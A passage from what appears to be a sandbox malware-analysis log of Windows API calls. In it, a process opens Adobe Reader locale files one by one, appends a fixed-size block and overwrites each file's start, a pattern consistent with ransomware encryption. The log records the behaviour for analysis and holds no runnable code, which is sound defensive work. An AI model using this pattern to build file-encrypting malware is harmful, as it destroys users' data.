hFile=0x168, lpBuffer=0x1da5ed8, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesRead=0x2f4f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0035.569] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0035.569] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0035.569] CloseHandle (hObject=0x168) returned 1 [0035.570] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\acroform.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.571] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.571] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x63e00 [0035.572] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.572] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.572] ReleaseMutex (hMutex=0x128) returned 1 [0035.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CZE", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CZE", lpUsedDefaultChar=0x0) returned 12 [0035.572] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0035.574] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x62e00 [0035.574] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.576] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x62e00 [0035.576] WriteFile (in: hFile=0x168, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.577] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.577] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0035.577] CloseHandle (hObject=0x168) returned 1 [0035.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\makeaccessible.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\makeaccessible.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.591] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.591] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x11a00 [0035.591] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.591] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.591] ReleaseMutex (hMutex=0x128) returned 1 [0035.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CZE", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0035.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CZE", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CZE", lpUsedDefaultChar=0x0) returned 18 [0035.592] ReadFile (in: hFile=0x168, lpBuffer=0x1decc48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1decc48*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.599] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x10a00 [0035.599] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.602] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x10a00 [0035.603] WriteFile (in: hFile=0x168, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.603] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.603] WriteFile (in: hFile=0x168, lpBuffer=0x1decc48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1decc48*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.603] CloseHandle (hObject=0x168) returned 1 [0035.604] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.609] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.609] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x9342 [0035.609] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.609] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.609] ReleaseMutex (hMutex=0x128) returned 1 [0035.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0035.609] ReadFile (in: hFile=0x168, lpBuffer=0x1decc48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1decc48*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.612] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8342 [0035.612] ReadFile (in: hFile=0x168, lpBuffer=0x1da5ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.612] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x8342 [0035.613] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.613] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.613] WriteFile (in: hFile=0x168, lpBuffer=0x1decc48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1decc48*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.613] CloseHandle (hObject=0x168) returned 1 [0035.614] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Checkers.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\checkers.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.621] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.621] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1de00 [0035.621] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0035.621] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.621] ReleaseMutex (hMutex=0x128) returned 1 [0035.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DAN", cchWideChar=12, lpMultiByteStr=0x1e6310c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.DAN", lpUsedDefaultChar=0x0) returned 12 [0035.621] ReadFile (in: hFile=0x168, lpBuffer=0x1decc48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1decc48*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.887] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1ce00 [0035.887] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.887] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1ce00 [0035.887] WriteFile (in: hFile=0x168, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.890] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0035.890] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.890] CloseHandle (hObject=0x168) returned 1 [0035.891] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\RdLang32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\rdlang32.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.250] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.250] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x144c00 [0036.250] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.250] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.250] ReleaseMutex (hMutex=0x128) returned 1 [0036.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.DAN", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.DAN", lpUsedDefaultChar=0x0) returned 12 [0036.250] ReadFile (in: hFile=0x168, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.252] ReadFile (in: hFile=0x168, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.254] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x143c00 [0036.254] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.256] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x143c00 [0036.256] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.257] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.257] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0036.258] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.258] CloseHandle (hObject=0x168) returned 1 [0036.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Weblink.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\weblink.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.259] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.259] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6e00 [0036.259] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.259] ReleaseMutex (hMutex=0x128) returned 1 [0036.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DAN", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.DAN", lpUsedDefaultChar=0x0) returned 11 [0036.259] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.261] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5e00 [0036.261] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.261] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5e00 [0036.261] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.262] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.262] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.262] CloseHandle (hObject=0x168) returned 1 [0036.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Escript.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\escript.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.263] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.263] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa600 [0036.263] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.263] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.263] ReleaseMutex (hMutex=0x128) returned 1 [0036.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Escript.deu", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Escript.deu", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Escript.deu", lpUsedDefaultChar=0x0) returned 11 [0036.263] ReadFile (in: hFile=0x168, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.265] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x9600 [0036.265] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.265] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x9600 [0036.265] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.266] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.266] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.266] CloseHandle (hObject=0x168) returned 1 [0036.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Search.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\search.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.267] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.267] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6200 [0036.267] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.267] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.267] 